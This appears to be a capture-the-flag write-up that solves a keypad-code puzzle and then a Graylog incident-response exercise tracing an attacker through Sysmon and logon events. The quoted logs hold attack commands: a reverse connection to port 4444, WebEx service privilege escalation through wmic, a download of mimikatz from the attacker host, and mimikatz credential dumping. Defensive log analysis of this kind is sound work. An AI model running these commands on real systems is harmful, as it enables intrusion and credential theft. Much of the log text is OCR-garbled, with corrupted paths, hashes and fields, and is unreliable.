You can begin the challenge by clicking on the "Frosty Keypad" icon next to Tangle Coalbox.

By looking at the keypad, we can see based on the large smudges that keys 1, 3, 7, CLEAR and ENTER are used most often, so the code
should be some combination of the numbers 1, 3 and 7. We know from Tangle Coalbox that one number is repeated once and the
complete code must be a prime number.

Since many keypads default to a 4-digit pin, 1337 (leet) seems like a good guess. It has one repeating number, but unfortunately it's
not a prime number being divisible by 7. However, its reverse 7331 is a prime!
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Entering this valid code unlocks the Dorm area and you can now enter.

You have completed the Frosty Feypad

challenge!
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Achievement - Graylog

This challenge is found in the Dorm area and interacting with Pepper Minstix will introduce this challenge.

Normally I'm jollier, but this Graylog has me a bit mystified.

Have you used Graylog before? It is a log management system based on Elasticsearch, MongoDB, and Scala.
Some EIf U computers were hacked, and I've been tasked with performing incident response.

Can you help me fill out the incident response report using our instance of Graylog?

It's probably helpful if you know a few things about Graylog.

Event IDs and Sysmon are important too. Have you spent time with those?

Don't worry - I'm sure you can figure this all out for me!

Click on the All messages Link to access the Graylog search interface!

Make sure you are searching in all messages!

The EIf U Graylog server has an integrated incident response reporting system. Just mouse-over the box in the lower-right
corner. Login with the username elfustudent and password elfustudent.

You can begin the challenge by clicking on the "Graylog" terminal icon or you access it directly via https://incident.elfu.org/ and
https://graylog.elfu.org/. (Note: The incident report alone can also be accessed directly at https://report.elfu.org)

The graylog URL will take you to the Graylog website where you will be prompted to enter credentials. Entering the credentials
provided by Pepper Minstix will take you to the main page:

gray D Views » Streams Alerts Dashboards System ~

Streams

e Read more about streams in the documentation.

Filter streams Filter Reset

ream contains all messages

gray v Views » Streams  Alerts  Dashboards  System +

B P> Notupdating =

Nothing found in stream All messages

documentation

Search Actions Add count to dashboard »  Add histogram to dashboard =

case you expect this search to return results in the future, you can add search widgets to dashboards, and manage your saved

Need help?

Do not hesitate to cot

14
-
v

This will get you started with seeing something in the messages window. From here you can start to fine tune your searches.
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'Question 1:

A

Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and
downloaded a file.

You can start by searching for "minty firefox.exe" and this will get you on your way. | found it very helpful in making output
clearer to uncheck the "message" field on the left field list and to check/enable the following if you have a wide enough
screen:

° DestinationHostname

e  Destinationlp

. EventID

e  ParentProcessCommandLine
e  ParentProcessimage

. Processimage

e  source

e  SourceHostname

e  TargetFilename
. UserAccount

| also found it helpful to sort in ascending timestamp order (oldest entries first), which is not the default so for each search
you need to click on the timestamp search order icon (down-arrow icon) again:

After you search around for a while, you start to see events of interest falling within this time range, so you can limit most of

your searches to this range using the "absolute" option available with the blue time button in the upper left.

P 0 1.0k "ORMUSEIZEN: 4 5
2019-11-19 06:16:00

Since Sysmon event id 2 is a file creation, add this to the earlier search and the event of interest for this question is below

2019-11-1905:2  elfu-re 019-11-19T13:23:45 2 C\Program Files\M
8:33.000 1 4287 ozilla Firefox\firefo
wENE

% 5f9¢3021-1b70-11ea-b211-0242ac120005 Permalink  CopyID  Show surrounding m
Received by CreationUtcTime
Syslog TCPon P e/ 61a0de1ff3c0 2019-11-19T13:23:45.428Z
Stored in index EventID
graylog_0 2
Routed into streams Processld

® All messages 2516

Processimage
C:\Program Files\Mozilla Firefox\Tirefox.exe

TargetFilename
C:\Usersyminty\Downloads\cookie recipe.exe

WindowsLogType
Microsoft-Windows -Sysmon/Operational

facility
user-level

level
6

message
elfu-res-wksl MSWinEventlLog 1 Microsoft-Windows-Sysmon/Operational 18608 Tue Mov 19 865:28:33 2019 2
mon SYSTEM User Information elfu-res-wksl File creation time changed (rule: FileCreateTime) File cr

RuleName UtcTime: 2019-11-19 13:23:45.428 ProcessGuid: {BASC6BBE-EBC5-5DD3-0080-0010458711608} ProcessId: 2516 Image: C:\F
irefox\firefox.exe TargetFilename: C:\Users\minty\Downloads\cookie recipe.exe CreationUtcTime: 2019-11-19 13:23:45.428 Previ
19-11-19 13:23:45.428 19601

source
elfu-res-wksl

timestamp
2019-11-19 95:28:33.000 +00:00

The answer to Question 1 is: C:\Users\minty\Downloads\cookie_recipe.exe
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Question 1:

Minty CandyCane reported some weird activity on his computer after he clicked on a link in Firefox for a cookie recipe and
downloaded a file.

What is the full-path + filename of the first malicious file downloaded by Minty?
Answer: C:\Users\minty\Downloads\cookie_recipe.exe

We can find this searching for sysmon file creation event id 2 with a process named firefox.exe and not junk .temp files. We

can use regular expressions to include or exclude patterns:

‘TargetFilename:/. +\.pdf/

malicious file connected to first?

Since Sysmon event id 3 indicates network connections and we know the name of the malicious file from question 1, the
following search will give us the event of interest:

4

Question 2:

The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port the
A

EventID:3 AND "*cookie recipe.exex"

2019-11-1905:2  elfu-res-wks DEFANELF 192.168.247.175 3 B r: elfu-res-wks1.localdo 192.1
4:04.000 1 wrnloads\cookie_re  main 77
cipe.exe

& 5c93f930-1b70-11ea-b211-0242ac120005 Permalink  CopyID  Show surrounding messages~  Test against sti

Received by DestinationHostname
Sysiag TCP on ¥ 83dd6e5e / 61a0de1ff3c0 DEFANELF

Stored in index Destinationlp
graylog 0 192.168.247.175

Routed into streams DestinationPort
* All messages 4444

EventiD
3

Processld
5256

Processimage
C:\Users\minty\Downloads\cookie recipe.exe

Protocol
tep

SourceHostname
elfu-res-wksl.localdomain

Sourcelp
192.168.247.177

SourcePort
53564

UserAccount
minty

WindowsLogType
Microsoft-Windows-Sysmon/Operational

facility
user-level

level

6

message

elfu-res-wksl MSWinEventlog 1 Microsoft-Windows-Sysmon/Operational 2441 Tue Nov 19 85:24:84 20819 3 Microsoft-Windows-Sys
mon SYSTEM User Information elfu-res-wksl Network connection detected (rule: NetworkConnect) Network connection detected:
RuleName : UtcTime: 2819-11-19 13:24:03.757 ProcessGuid: {BASCEBBB-ECF2-5DD3-8060-801086363380} ProcessId: 5256 Image: C:\Users\minty\Downloads\c
ookie_recipe.exe User: ELFU-RES-WKS1\minty Protocol: tcp Initiated: true SourceIsIpvé: false Sourcelp: 192.168.247.177 SourceHostname: elfu-res
-wksl.localdomain SourcePort: 53564 SourcePortName: DestinationIsIpvé: false DestinationIp: 192.168.247.175 DestinationHostname: DEFANELF Dest
inationPort: 4444 DestinationPortName: 20132

source
elfu-res-wksl

timestamp
2019-11-19 65:24:84.008 +08:08 i

The answer to Question 2 is: 192.168.247.175:4444

Question 2:

The malicious file downloaded and executed by Minty gave the attacker remote access to his machine. What was the ip:port
the malicious file connected to first?

Answer: 192.168.247.175:4444

We can pivot off the answer to our first question using the binary path as our Processimage.
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'Question 3:
What was the first command executed by the attacker?

Since Sysmon event id 1 indicates new process creation and it will likely be a child of the malicious payload we already know,

the following search will give us the event of interest:

EventID:1 AND ParentProcessImage:

"C:\\Users\\minty\\Downloads\\cookie recipe.exe"

= 5c¢94bcB0-1b70-11ea-b211-0242ac 120005

Permalink  Copy D Show surrounding messages ~  Test against stream =
Timestamp CommandLine Py
2019:11:19 0524:15.000 C:\Mindows\systen3z\cmd. exe /¢ =
¥ EventlD
Sysig TCP on ¥ 83c4ese ¢ 61a0de1 T3¢0 5 e
Stored in index ParentProcessCommandLine a
grayiog 0 "C:\Users\ninty\Downloads\cookie recipe.exe” =
ParentProcessid
5256 e
ParentPrecessimage
C:\Usersininty\Downloadshcaokie_recipe.exe b
processid
1B64 b
Processimage
€ \windons ) SyswowE2\ Wi ndowsPawershel 1\v1 o\ powershall exe L b
Usereeaunt
: a -
windowsLegType
Microsaft-Windows-Sysmon/Operational LS
facility
user-level LS
level
3 A
message =
elfu-res-whsl MSWinEventlog 1 Microsoft-Windows-Sysman/Operational :15 2000 1 Microsoft-Hindows- Sysman 55|
Information elfu-res-wksl Process Crea (rule: ProcessCreate) UtcTime: 2019-11-19 ProcessGuid: {BASCEBEE-
ECFF-5003-0000-D010AE583300] ProcessId: 1864 Image exe FileVersion: 10 6 (rsl release.160915-B644)
Description: Windows PowerShell Product: Microsaft® Windows® Operating Systsm Company: Microsoft Corpo n OriginalFileNans: PowerShell.EXE CommandLine: C:\Windows\system3z
\end_exe /¢ "whoami * CUFrenTDrectory: C:\USers\minty\Downloads) user: ELFU-RES-W nty LogonGuid: [BASCHEAS-E7AS-5DD3-0000-002087670700} LoganId: OXT67EZ
TerminalsessionTd: 1 Integritylevel: High Hashes: MDS-65DBEC33314C02569E2ADSIFD24ETFEL ParentProcessGuid: [BASCSBEB-ECF2-5DD3-00D0-0818B6363300) ParentProcessid: 5256
ParentImage: C:\Users\minty\Downloads\cookie recipe.exe ParentCommandLine: "Ci\Users\minty\Dewnloadshcookie recipe.exe 20133
source
elfu- res-wksl LI
timestamp
2019-11-19705:24:15.8667 Lt
= 50969140-1b70-11ea-b211-0242ac120005 Permalink  CopyiD  Show surrounding messages Testagainst stream v
Timestamp commandiine
2019-11-19 0524:16.000 “C:\windows\systenaziuhoani .exe” L
Received by EventiD
Sysiog TCP on b a3ddsese o g i
Storad in index ParentProcessCommandLine a
Zraylog 0 €:\Windows\systen3z\cnd. exe /c “whoani =
ParentProcessid
1864 (i 152
ParentProcessimage
C\WiNdows\ SysSWONBS\Wi ndowsPowerShel L\ 1. 8 powershel 1, exe L3k
Processid
5632 A=
Processimage
C:\Windows\ Sy sHOWsd\whoan , exe R
UserAccount
minty a -
WindowsLogType a
Microsoft-Windows-Sysmen/Operational i
facility
user L[5
lavel
6 s
message N
elfu-res-wksl MSWinEventlag 1 Micrasoft-Windows-Sysmon/Operational 2443 Tue Nov 19 05:24:16 2018 1 Microsoft-Nindows - Sysmon SYSTEM User
Inforaation  elfu-res-wksl Process Create rule: ProcessCreatel Process Create: RuleMame: UtcTime: 2019-11-19 13:24:16.257 ProcessGuid: {BASCGBEB-
EDBE-50D3-0800-0016CA7C3308} ProcessId: 5632 Image: C:\Windows\SysWOWGdiwhoani.exe FileVersion: 10.8.14393.8 (rsl_release.168715-1616) Description: whoami - displays logged on
user information Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalFileName: whoami.exe CommandLine: ndows\, systen32\whoani , exe’
CurrentDirectory: C:\Users\minty\Downloads\ User: ELFU-RES-WKS1\minty LogonGuid: {BASCGBES-ETAS-5003- -002082670708) Logonld: Bx767B2 minalSessionld: 1 Integritylevel:
Wigh MHashes: MD5=BOCFS33704BDBIF1F7SEEDO5A1Z8532F ParentProcessGuid: [BASCEEES-ECFF-5DD3-66D0-00L0AESSI30A] ParentProcessid: 1864 Parentinage: C:\Windows\SysWOWos
\WindowsPowershel1\v1. Brpowershell exe ParentcomnandLine: C:\Windows\systen3zicmd.exe /c "whoani " 29134
source
elfu-res-wksl L
timestam
3 Y

2019-11-197T05:24: 16,8987

The answer to Question 3 is: whoami

Question 3:

What was the first command executed by the attacker?

(answer is a single word)

Answer: whoami

Since all commands (sysmon event id 1) by the attacker are initially running through the cookie_recipe.exe binary, we can set

its full-path as our ParentProcesslmage to find child processes it creates sorting on timestamp.
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'Question 4:
What is the one-word service name the attacker used to escalate privileges?

In this case | searched for events with this ParentProcessimage and then looked through the results looking for suspicious

activity. Finding "sc start" for the webexservice with a parameter for "wmic process call create" onanexein

the User's download directory was the red flag ( [cvE-2019-1674] / https://www.exploit-db.com/exploits/46479 ):

ParentProcessImage:

C:\\Users\\minty\\Downloads\\cookie recipe.exe"

% 5cf94ab0-1b70-11ea-b211-0242ac120005

Timestamp CommandLine
i)

Permalink  Copy 1D Show surrounding messages v Test against stream

905:31.02.000 C:\Nindows\systen32\emd.exe /c "sc start webexservice a software-update 1 waic process call create “cad.exe /c C:\Users\ninty\Downlosdsicookie recipe2.exe” * R
Received by Eventin ol
Systog TCP on ¥ 83 1 1
Stored in index ParentProcessCommandLine a -
grayog 0 *C:\Users\ninty\Downloads\cookie recipe.exe®

ParentProcessid
5256 L
ParentProcessimage
C:\Usersyminty\Downloads\cookia racips.sxe L
Pracessid
748 a -
Processimage a
€2 \Nindows\ Sy sWOWE\WindowsPowerShelLivl  B\powershell. exe =
UserAccount
minty L
windowsLegType
Microsaft-windows -Sysmon/Operational a
facility
user-level i
level
6 Rir
message &
elfu-res-whsl MSWinEventLog 5 Microsoft-wWindows-Sysmon/Operational 2578 Tue Mov 19 B5:31:62 2019 icrosoft-Windows-Sysmon SYSTEM User
Information elfu-res-wksl Process Create [ru ProcessCreate) Process Create:  RuleName UtcTine: 2619-11-19 1 ecessGuid: {BASCGRES
EE96-5003-0000- 001041763989} ProcessTd: 748 C:\Windows\SysHONE\ Windows PoverSheL Lv1.0\powershell . exe rsion: 206 (rs]_release.160915-0644) Description:
Windows PowerShell Product: Microsofts @ Operating System Company: Microsoft Corporation OriginalFileNsne: Powershell.EXE CommandLine: C:\Windows\system32\cad.exe /c
*sc start webexservice a software-update 1 e /c Ci\Usersininty\Downloads\cookie_recipe2.exe’  CurrentDirectory: Ci\Users\minty\Downloads\ User:
ELFU-RES-WKS1\minty LogonGuid: {BASCGHBE- ogonld: Ox76782 TerminalSessionld: 1 Integritylevel: High Hashes: MDS=ESD86(34B14CO2569E2ADSIFDI4ETFEL
ParentProcessGuid: {BASCGBES-ECF2-5D03-8686-001086363380) ParentProcessld: 5256 ParentImage: C:\Users\minty\Downloads\cookie recipe.exe ParentCommandLine: "C:\Users\minty
\bownlaadshcookie_recipe.exe’ 26256
source
elfu-ras-wksl L
timestam;

p Fyem

2019-11-19705:31:02.886Z

& 5d0a1390-1b70-11ea-b211-0242ac120005

Timestamp commandLine

2019-11-10 D5:31:55.000 sc start webexservice a seftuare-update 1 waic process call create cmd.exe /c C:\Users\minty\Downloads\cookie recipe2.exe

Received by EventiD
Sysiog TCP on P 83da6ese / 610 1

Stored in index ParentProcessCommandLine
graylog 0 “Ci\Windows\system32\ced.exe” /c sc start webexservice a software-update

ParentProcessid
1876

ParentProcessimage
Ci\Windows\ SysWOWGAcmd , exe

Processld
1388

Processimage
C:\Windows\SyswWOWEA\ s¢. exe

UserAccount
minty

WindowsLogType
Microsoft-Windows-Sysmon/Operational

facility
user-level

level
6

message
elfu-res-wksl MSWinEventlog 1 Microseft-Windows -Sysmon/Operational

SYSTEM User  Information elfu-res-wksl Process Create (rule: ProcessCr
ProcessGuid: {BASC6BBB-EECE-5DD3-0060-0810BC073900) FProcessid: 1388 Image

\Windows\SysWOWG4\sc.exe  Fileversion: 10.8.14393.8

Permalink  CopyID  Show surrounding messages~  Test against straam

2581  Tue Nov 19 85:31:55 2819 1 Microsoft-Windows-Sysmon
) Process Create: Rulen: UteTime: 2019-11-19 13:31:55.311
rs1_release, 160715-1616)

Description: Service Control Manager Configuration Tool Product: Microsoft® Windows® Operating System Company: Microsoft Corporation OriginalfileMame: sc.exe

CommandLine

sc start webexservice a software-update 1 wmic process call create cmd.exe fc C:\Users\minty\Downloads\cookie recipe2.exe CurrentDirectory: C:\Users

\minty\Downloads\ User: ELFU-RES-WKSI\minty LogonGuid: {BASCGBBB-E7AS-5D03-6000-002082678708) LogonTd: Bx76782 TerminalSessionTd: 1 Integritylevel: High
Hashes: MDS=98C 9B25ECBIF2AB5A6A  ParentProcessGuid: {BASCGBBE-EECB-5DD3-0000-8018FDDS3906) ParentProcessid: 1076 ParentImage: C:\Windows\SysWOWE4

\emd.exe  ParentCommandLine
\Dewnloads\cookie recipel.exe 20276

source
elfu-res-uksl

timestamp
2016-11-19765:31:55. 6062
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https://www.exploit-db.com/exploits/46479

I

u|

& 5d0ad6e0-1b70-11ea-b211-0242ac120005 Permalink  CopyID  Show surrounding messages  Test against stream v
Timestamp CommandLine
2019-11-19 05:31:55.000 C:\WebExService. exe A=
Receivad by EventiD
Syslog 7P on b 83d46e5e 1 LV
Stored in index ParentProcassCommandLine w
sraylog 0 C:\windows\systen3zyservices. exe -
ParantProcassid
592 A
ParentProcossimage =
C:\windows\Systen3z\services. axe
Pracessid
5 a -
Processimage
Co\uebxsarvice exe LIS
windowstogType
Microsofe-windows-Sysmon/Operat:onal A
facility
user-level LS
Tevsl
6 s
message o
elfu-res-wksl HSWinEventlog 1 Hicrosoft-windows /Operational 2502  Tue Nov 19 85:31:55 2019 1 Microsoft-Windows-Sysson
SYSTEM user  Information  elfu-res-uksl FProcess Cri le: Processcre: Process Create: Rule UteTine: 2019-11-19 13:31:55.319
ProcessGuid: {BASCGEES-EECE-5003-0006-0010CAD93988) ProcessId: 2468 Image: Service.exe Fileversion: 3211,6,1801,2208 Description: Cisco WebEx Update
Service Product: Cisco WebEx Update Service Company: Cisca WebEx LLC OriginalFileh C:\WebExService.exe Currentdirectory:
C:\MNGOWS\GYSTeN3Z\ User: NT AUTHORITY\SYSTEM LogonGuid: {BASCEBES-E74C-50D3-0008-0020£763000} LogonTd: G367 Terainalsessionid: 0 Integritylevel: System
Hashes: MDS-D41DEEDCFES06628AEISI05AE5934908 ParantProcasstuid: [BASCEBBE-E74C-50D3-0060-0010008E0000]  ParentProcessld: 592 Parentlmage: C:ywindows\System32
\services.exe ParentComandLine: C:\Windows\systemdz\services.exs 20277
elfu-res-wks1 —
timestamp =
2819:11-19705:31:55. 8002

The answer to Question 4 is: webexservice
Question 4:
What is the one-word service name the attacker used to escalate privileges?

Answer: webexservice

Continuing on using the cookie_reciper.exe binary as our ParentProcesslmage, we should see some more commands later on
related to a service.

Question 5:
What is the file-path + filename of the binary ran by the attacker to dump credentials?

In this case | searched for events with the ParentProcessimage cookie recipe2.exe since this is the malicious payload
that was being launched by the webexservice and would be running with elevated privileges (SYSTEM) to dump credentials.
See below where the attacker downloads a well-known credential dumping tool and saves it as cookie.exe. Thenrunsit.

m

ParentProcessImage:"C:\\Users\\minty\\Downloads\\cookie recipe2.exe"

= 50d8a4010-1b70-11ea-b211-0242ac120005 Permalink  CopyiD  Show surrounding messages=  Test against seam -

Timestamp commandLine
201%-11-19 05:41:02.000 C:\Windows\system32\cmd.exe /c "Invoke-WebRequest -Uri http://192.168.247.175/mimikatz.exe -OutFile C:\cookie.exe " a

Evenun
B1a0de13c0 1 bl

Received by
Syslog TCP on ¥ B35

Stored in index ParentProcesstommandLine
grayiog 0 C:\Users\minty\Downloadsyconkie_recipe2.exe =

ParentProcessid
4892 a -

ParentProcessimage
C:\Users\minty\Downloads\cookie recipe2,exe e

Processid
3076 S

Processimage
C:\Windows\ SysWOwWe4\WindowsPowershell\vl. 8\ powershell. exe

WindowsLogType
Microsoft-windows-Sysmon/Operational L

facility =
user-level

level

6 a -

message
elfu-res-wksl MSWinEventLog 1 Microsoft-Windows-Sysmon/Operational 2751  Tue Nov 10 85:4
SYSTEM User  Informatier elfu-res-wksl Process Create (rule: Process el Process Create: RuleName: UtcTime: 2019-11-19 13:41:02.299
ProcessGuid: {BASCEBEE-FOEE-5DD3-0860-6916024D3000) Proce: 3876 Image ndows '\ 5ysWOWEA\WindowsPower \wl.B\powershell.exe FileVersion: 18.8.14393.286
(rs1_release. 166915 -0644) Windows PowerShell Product: Microsofte Windows® Operating System Company: Microsoft Corporation OriginalFilen
Powershell. EXE 132\emd. exe /¢ "Invoke-WebRequest -Uri http://192.168.247.175/mimikatz OutFile C:vcookie.exe * Cu
C:\Windows\system3zy T AUTHDRITY\SYSTEM LogonGuid: {BASCGHBE-E74C-5DD3-0080-0620E7036880} Leogonld: 6x3E7 inalSessionld: 1 Integrity
Hashes: MDS-65D86(34814C E2ADS3FD24ETFE]  ParentProcessGuid: {BASC6BB8-EEFEB-5DD3-0000-8010D0753A00} ParentProcessld: 4892 Parentlmage: Ci\Users\
\Dewnloadshcookie recipel.exe ParentCommandLine: C:\Users\minty\Downloads\cookie recipeZ.exe 28426

82 2819 1 Microsoft -Windows-Sysmon

ectory
System
y

source
£ a
elfu-res-wksl

timestamp
2619-11-19785:41:62 8062 a -
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&= 5dc5e982-1b70-11ea-b211-0242ac120005 Permalink  CopyID  Showsurrounding messages«  Test against stream »
Timestamp CommandLine
2019-11-19.05 o €:\Windows\systen32\cmd.exe 7c “Ci\cookie.exe “privilege:idebug® “sekurlsa::logonpasswords® exit By
Raceived by EventiD
Syslog TCP on P B3d46e5e / €1a0de1ffac 1 WS
Storad inindex ParentProcessCommandLine
graylog 0 €:\Usersyminty\Downloads\cookie recipe?.exe AL
ParentProcessid
4892 a -
ParentProcessimage
€:\Users\minty\Downloads\cookie recipei.exe .
Processid
3le4 o
Processimage a
©:\Windows\, SysWOWE4\WindowsPowerShell\vl.8\powershell. exe =
WindowsLogType
Microsoft-Windows-Sysmon/Operational a -
facility
user-leval L
level
5 A=
message
elfu-res-wksl MSWinEventLog 1 Microsaft-windows-Sysmon/operational 2828 Tue Nov 19 D5:45:14 2019 1 e -
SYSTEM User Information elfu-res-wksl Process Cre: (r ProcessCreate) Process Create
ProcessGuid: {BASCEBBE-FIEA-5 ProcessId: 3164 Image: SWONEAW.
(rs1 release,166915-9544) Description s Powershell Product: Micres Operating
Powershel 1. EXE commandLine: C:\Win m3zvemd exe sc "C:yconkie.exe "privil debug” "sekurls
\system32\ User: NT AUTHORITY\SYSTEM LogonGuid: {BASCGBES-E74C-50D3-8006-8026 060} Logonld: 8x3E7 TerminalSessionld: 1 Integritylevel
WD5-6508GC34B14C02569E2ADSIFD24ETFG]  ParentProcessGuid: {BASCHBBI B-5003-0000-0010D0753A08}  ParentProcessId: 4892 ParentImage: C:\Usersiminty\Downloads
\cookie recipe?.exe ParentComeandline: C:\Usersiminty\Downloads\cookie recipez exs 20497
seurce
elfu-res-wksl LIt
timestam
3 i

2019-11-19T85:45:14,0007

The answer to Question 5 is: C:\cookie.exe
Question 5:
What is the file-path + filename of the binary ran by the attacker to dump credentials?

Answer: C:\cookie.exe

The attacker elevates privileges using the vulnerable webexservice to run a file called cookie_recipe2.exe. | et's use this binary
path in our ParentProcessimage search.

Question 6:
The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot
to another machine?

Patient zero was Minty's computer which is: ELFU-RES-WKS1 and with user "minty" on that system. If we've
checked/enabled the UserAccount and AccountDomain fields and do the following search below, we'll see pivot events
(which require a successful logon - Event ID 4624) of interest with user alabaster.

EventID:4624 AND NOT "*VMWare*" AND NOT "*CommAmgpListener*" AND NOT "*svchost.exe*" AND
NOT "*autochk.exe*" AND NOT "*smss.exe*" AND NOT "*taskhostw.exe*" AND NOT "*MSASCui.exe*"
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2019-11-19 0!

3.000 elfu-res-wks1

alabaster elfu-res-wks1 4624 DEFANELF 192.168.247.175

¥ 5e04a030-1b70-11ea-b211-0242ac120005 Permalik  CopyID  Show surrounding messages»  Test against stream ~

Received by
Syslog TCP on P 83046e5¢ / 61a0de] fi3c0
Stored in index

graylog 0

Routed into streams

Al messages

= 5e07ad71-1b70-11ea-b211-0242ac120005
Timestamp

20191113 05:47:34.000

Received by

Syslog TCP on ¥ 83a46eSe / 61a0de 1ff3c0

Stored in index

graylog 0

AccountDomain
AccountName
zlsbaster

AuthenticationPackage
NTLM

DestinationHostname
elfu-res—wksl

EventiD
4624

LogonProcess
HtlmSsp

LogonType
3
SourceHostName
DEFANELF

SourceNetworkAddress
182 162.247.175

UserAccount

UserAccountSID
5-1-0-0

WindowsLogType
Security

message
Elfu—gres—wksl MSWinEvensLeg 1 Security 2811 Tue Nov 18 05:47:33 2013 4624  Microsofs-Windows-Security-REuditing
H/R .72 Success RZudit  elfu-res-wksl Logon An zccount was successfully legged on. Subject:  Security ID:
$-1-0-0 Zccount Name: -  Account Domain: -  Logon ID: 0x0 Logon Informaticn: Logon Type: 3  Restricted Admin Mede: -  Virtua
1 Account: HNe Ilevated Token: Yes Imperscnaticn Level: Imperscnation  New Logen:  Security ID: 5-1-5-21-2328733473-266036237-1%
©9649614-1006 Account Name: alsbaster Account Domain: ZILFU-RES-WKSL Logon ID: 0x4152F0  Linked Logon ID: 00  Network Account N
ame: - Network Account Domain: -  Logeon GUID:  {00000000-0000-0000-0000-000000000000} Process Informsticn: Process ID: Ox0  Froce
ss Name: -  Metwork Information: Workstation Name: DEFANELF  Scurce Hetwork Address: 182.1€8.247.175 Scurce Dort: 52128 Desaile
d Authentication Information: Logen Drocess: NilmSsp  Authentication Dackage: NTLM  Transited Services: -  DPackage Name (NTLM only):
NILM V1 Key Length: 123 This event is genersted when = logen sessicn is created. It is on the that was .

The subject fislds indicate the sccount on the local system which requested the logen. This is most commonly = service such as the Server

ervice, or a local process such as Winlogen.exe or Services.exe. The logon type field indicates the kind of logen that occurred. The mos
© commen types are 2 (interactive) and ¥ (network). The New Logen fields indicate the account for whem the new logon was created, i.e. ©
he zccount that was logged on. The network fields indicate where a remote logon request criginated. Workstation name is not always avail
zble =nd may be left blank in some cases. The impersonsticn level field indicates the extent to which 2 process in the logon session can
i te. The ication i icn fields provide detailed informstion sbout this specific logen request. - Logen GUID is 2 u
nigue identifier that can be used to correlate this event with = KDC svent. - Transited services indicste which intermedizte services hav

e participated in this logon request. - Package name indicates which sub-protocel was used ameng the NIIM protecels. - Hey length indic
ates the length of the generated session key. This will be 0 if no session key was requested. 25333

source
elfu-res—wksl

timestamp
2019-11-1% 05:47:33.000 +00:00 i

Permalink  Copy 1D ling messoges +  Test,

AccountDomain
AccountName
alabaster
AuthenticationPackage
NTLH
DestinationHostname
eLfu-res-wksl

EventiD
624

LogonProcess
NtlnSsp

LogonType
3
SourceHostName
DEFANELF

SourceNetworkAddress
192.168.247.175
UserAccount
UserAccountsiD.
5-1-0-6
WindowsLogType
ecurity
facility
user-level

level
3

message
elfu-res-wksl MSWinEventlog 1 Security 2915 Tue Nov 19 05:47:34 2019 4624 Microsoft-Windows-Security-Auditing  N/A  N/A  Success Audit  elfu-res-wksl
Logon An account was successfully logged on.  Subject: Security ID: S-1-0-8  Account Name: Account Domain: Logon 10: @x0  Logon Information: Logon Type: 3 Restricted
Admin Mode: - Virtual Account: No FElevated Token: Yes  Impersonation Level: Impersonation  New Logon: Security ID: S-1-5-21-2526793473-266036237-1969649614-1006

Account Domain: ELFU-RES-WKS1 Logon ID: 0x415378 Linked Logon ID: ©x0@ Network Account Name: -  Network Account Domain {6860000 -6000- 0600-0000 000000000008} Process
Infornation: Process ID: 6x0 Process Name: -  Network Information: Workstation Name: DEFANELF  Source Network Address: Source Port: 521239  Detailed Authentication
Infornation: Logon Process: NtlmSsp  Authentication Package: NTLM Transited Services: - Package Name (NTLM only): NTLM V1 128 This event is generated when a logon session is
Created. It is generated on the computer that was accessed.  The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server
service, or a local process such as Winlogon.exe or Services.exe.  The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).  The
New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.  The metwork fields indicate where a remote logon request originated. Workstation name
1s not aluays svailable and may be left blank in some cases.  The impersonation level fisld indicates the extent to which a process in the logon session can impersonate.  The authentication
infornation fields provide detailed information about this specific logon request. Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - Transited
services indicate which intermediate services have participated in this logon request. - Package name indicates which sub-protocol was used among the NTLM protocols. - Key length indicates the
length of the generated session key. This will be O if no session key was requested. 25342

source.
eLfu-res-wksl

timestam)
2819-11-19T05:47: 34,6682
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&= 5e25e3d0-1b70-11ea-b211-0242ac120005

Timestamp

019-11-19 05:47:36,000

Received by
Sysiog TCP on b 33046050

Stored in index
Eraylog 0

permabink  CopylD  Show surrounding messages = Test against stream +

commandLine
omd, exe”
EventiD

1

ParentProcessCommandLine
€:\Windows\PAExec-4236-DEFANELF .exe -service

ParentProcessid
5548

ParentProcessimage
C:\Windows\PAExec- 4236 -DEFANELF .exe

Pracessid
4424

Processimage

C:\indows), SysWOWE4\ cnd . exe
UserAccount

alabaster

WindowsLogType
Microsoft-Windows-Sysmon/Operational

facility
~level

Ievel
6

message
res-wksl MSWinEventlog 1 Microsoft-Windows-Sysnon/Operational 2955  Tue Nov 19 DS:47:36 2019 1 Micrasoft.Windows -Sysmon SYSTEW  User
ration  elfu-res-wksl Process Create [rule: ProcessCreate) Process Create: RuleName: ULCTine: 2019.11-19 13:47:36.473 ProcessGuid: {BASC6BEB
F278-5003-0000- 001005794208} ProcessId: 4424 Inage: C:\Windows\SysWOWE4\cmd.exe FileVersion: 10.0.14393.0 160715-1616) Description: Windaws Command Processor
uct: Microsofts Windows Ope Systen Macrosoft Corporation DriginalFileNane: Cmd.Exe end.exe’ CurrentDirectory: C:\Windows\system32y User:
-RES-WKSL\alabaster LogonGuid: {BASCEB88-F -8000-0020805C4100} LogonId: 0x415CB8 TerminalS: d: 6 IntegrityLevel: High Hashes:
OFECSFI0E705EADAEASES14F2FB120C  ParentProcessGuid: {BASCEBBA-F276-50D3-0AAA-BO1092564100) Parentr 5548 Parentlmage: C:\Windows\PAExec-4236-DEFANELF.exe
ntCommandLine: C:\Windows\PAExec-4236 DEFANELF exe -service 265

source
elfu-res-wksl

timestamp
2019-11-19T65: 47 36,8002

The answer to Question 6 is: alabaster

Question 6:

The attacker pivoted to another workstation using credentials gained from Minty's computer. Which account name was used to pivot to another machine?

Answer: alabaster

Windows Event Id 4624 is generated when a user network logon occurs successfully. We can also filter on the attacker's IP using SourceNetworkAddress.

Question 7:

What is the time ( HH:MM:SS ) the attacker makes a Remote Desktop connection to another machine?

The solution for this question will require searching for logon event 4624 with LogonType of 10, which indicates RDP logon,

and including alabaster as the UserAccount and AccountName fields.

EventID:4624 AND LogonType:10 AND (UserAccount:alabaster OR AccountName:alabaster)

& 6c638510-1b70-11ea-b211-0242ac120005
Timestamp
2019-11-19 06:04:28.000

Received by
Syslog TCP on b 83d46e:

61a0de1ff3c0
Stored in index
graylog 0

Permalink  Copy ID messages - T

AceountDomain
NORTHPOLE

AccountName
alabaster

AuthenticationPackage
Negotiate

DestinationHostname
elfu-res-wks:

EventiD
4624

LogonProcess
User32

LogonType
18

SourceHostName
ELFU-RES-WKS2

SourceNetworkAddress
192.168.247.175

UserAccount
